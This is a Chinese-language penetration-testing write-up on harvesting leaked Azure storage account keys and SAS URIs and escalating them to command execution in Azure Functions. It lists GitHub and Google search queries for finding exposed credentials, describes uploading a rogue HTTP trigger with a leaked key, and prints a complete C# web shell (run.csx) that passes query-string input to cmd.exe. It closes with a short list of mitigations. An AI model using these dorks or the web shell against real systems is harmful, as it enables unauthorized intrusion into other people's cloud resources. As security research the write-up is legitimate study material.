对泄露的Azure存储密钥的挖掘和利用
全文脉络
- 访问泄露的存储帐户的访问密钥
2.连接到存储帐户并下载 Blob、文件等
3.文件中包含 Azure 函数的代码
4.使用 web-shell 创建一个新的 HTTP 触发器
5.将恶意文件作为新触发器上传到 Azure 文件并运行操作系统命令
Azure 存储帐户访问密钥(Access Keys)和 SAS URI
Azure 存储帐户使用包含帐户名称和密钥的凭据。创建存储帐户时会自动生成该密钥,并被用作连接到 Azure 存储的密码。默认情况下,存储访问密钥具有所有权限,类似于存储帐户的root密码。
Azure 存储帐户包含的存储类型有:Blob、队列、表和文件(共享文件夹或驱动器),并可通过API访问。
此外,Azure 提供了共享访问签名 (SAS) URI,用于授予对存储对象的细粒度访问权限。SAS URI,可以控制要公开哪些数据,以及对这些对象赋予哪些权限(SignedPermission),以及 SAS URI 的有效时间(SignedExpiry),其他参数如下所述:
https://<accountname>.<service>.core.windows.net/?sv=2018-03-28&ss=bfqt&srt=sco&sp=rwdlacup&se=2019-09-30T17:13:23Z&st=2019-09-30T09:13:23Z&sip=88.208.222.83&spr=https&sig=LCoN4d%2B%2BZSzPtPO71fMS34k%2FhLf2Wjen9pzhlAGFfPU%3D
查找访问密钥(Access Keys)和 SAS URI
Access Keys和SAS URI 至关重要,故我们需防止出现未经授权漏洞导致的信息泄露的情况出现。但在某些情况下,此信息可在公共资源中获得。我们可创建了一个参数列表,有助于查找帐户名称、密钥和 SAS URI。
账户名称和密钥
- https://github.com/search?l=XML&q=DefaultEndpointsProtocol%3Dhttps&type=Code
- https://github.com/search?q=StorageConnectStringBlob&type=Code
- https://github.com/search?q=local.settings.json&type=Code
推荐一个很赞的搜索网站,可进行多站点搜索:https://tools.redhuntlabs.com/online-ide-and-paste-search-tool.html,有助于搜索访问密钥(Access Keys)和 SAS URI
共享访问签名 - SAS URI
Github
https://github.com/search?q=rwdlacup&type=Code
- https://www.google.com/search?q=site:*.core.windows.net%20inurl:sig
- https://www.google.com/search?q=site:*.{customdomain}.com%20inurl:sig
此外,相关信息也可以在这些文件中找到:
- web.config
- local.settings.json
- app.config
关注下面这个 SAS URL,签名有效间隔(se 参数)设置得太高,它对文件共享对象拥有所有可用权限。如果恶意行为者发现了此 URL,则他可以读取、更新和删除存储帐户中的所有对象。
https://storageaccount.file.core.windows.net/XYZ-538d26??sv=2017-04-17&ss=bfqt&srt=sco&sp=rwdlacup&st=2019-09-30T19%3A43%3A56Z&se=2039-10-01T19%3A43%3A00Z&sig=WRo1i2cchlfVBCa%2FfwCqx3i%2BO64HSjbl%2F…..
后门
我们在公共托管的 Github 存储库中识别出 Azure 存储Azure AccountName 和 AccountKey,泄露了local.settings.json 文件中的 Azure 存储连接,如下图所示:
下一步是验证密钥并识别访问权限。
为此,我们使用 Azure 存储资源管理器 (https://azure.microsoft.com/en-in/features/storage-explorer/ ) 使用Azure AccountName 和 AccountKey连接到存储帐户。
很幸运,该密钥有效,它可以作为存储帐户的 root 用户访问 Azure Blob、文件、队列和表。
我们进一步查看存储对象,文件共享目录包含以下结构,引起了我们的注意。
- ASP.NET
- data
- LogFiles
- root
- site
我们可以访问 site\wwwroot 目录中用于 HTTP 和 Blob 触发器的 Azure 函数的源代码(.csx - CSharp scripts),如下所示:
说了这么多,接下来到了重点中的重点了。使用 Azure CLI 命令下载 BLOB 容器 (azure-webjobs-secrets)。
我们在 azure-webjobs-secrets 容器的“host.json”文件中找到了 HTTP 触发器的 URL。HTTP 端点 URL 处于活动状态,当授权级别设置为匿名时,我们可以访问它。
既然我们拥有读/写对象的权限,就可以覆盖现有的函数了。然而,由于它是一个生产实例,我们决定不覆盖或替换现有实例,而是选择一种非破坏性方法,在子文件夹中上传一个简单的 hello world HTTP 触发器,如下所示。
成功挂上了黑页了。
接下来演示一下代码执行:为了实现代码执行,我们使用 webshell 代码更新了“run.csx”并将其上传回 HellowWorldTrigger。
Web-shell (run.csx)
#r "Newtonsoft.Json"using System.Net;using Microsoft.AspNetCore.Mvc;using Microsoft.Extensions.Primitives;using Newtonsoft.Json;using System;using System.IO;using System.Diagnostics;public static async Task<IActionResult> Run(HttpRequest req, ILogger log){ log.LogInformation("C# HTTP trigger function processed a request.");string cmd = req.Query["cmd"];string requestBody = await new StreamReader(req.Body).ReadToEndAsync();dynamic data = JsonConvert.DeserializeObject(requestBody);cmd = cmd ?? data?.cmd;return cmd != null ? (ActionResult)new OkObjectResult(ExcuteCmd(cmd)) : new BadRequestObjectResult("Please pass a name on the query string or in the request body");}public static string ExcuteCmd(string arg){ProcessStartInfo psi = new ProcessStartInfo();psi.FileName = "cmd.exe";psi.Arguments = "/c " + arg;psi.RedirectStandardOutput = true;psi.UseShellExecute = false;Process p = Process.Start(psi);StreamReader stmrdr = p.StandardOutput;string s = stmrdr.ReadToEnd();stmrdr.Close();return s;}
我们现在可以访问 Web shell 并在 Azure 容器上执行任意命令。
因此,通过利用公共信息我们能够在 Azure 函数的环境中进行代码执行操作。
防护措施
- 定期重新生成存储帐户密钥
- 共享访问签名和存储访问策略以保护您的数据
- 限制对特定 IP 地址(或 IP 地址范围)的访问
- 将到期时间附加到 SAS URI
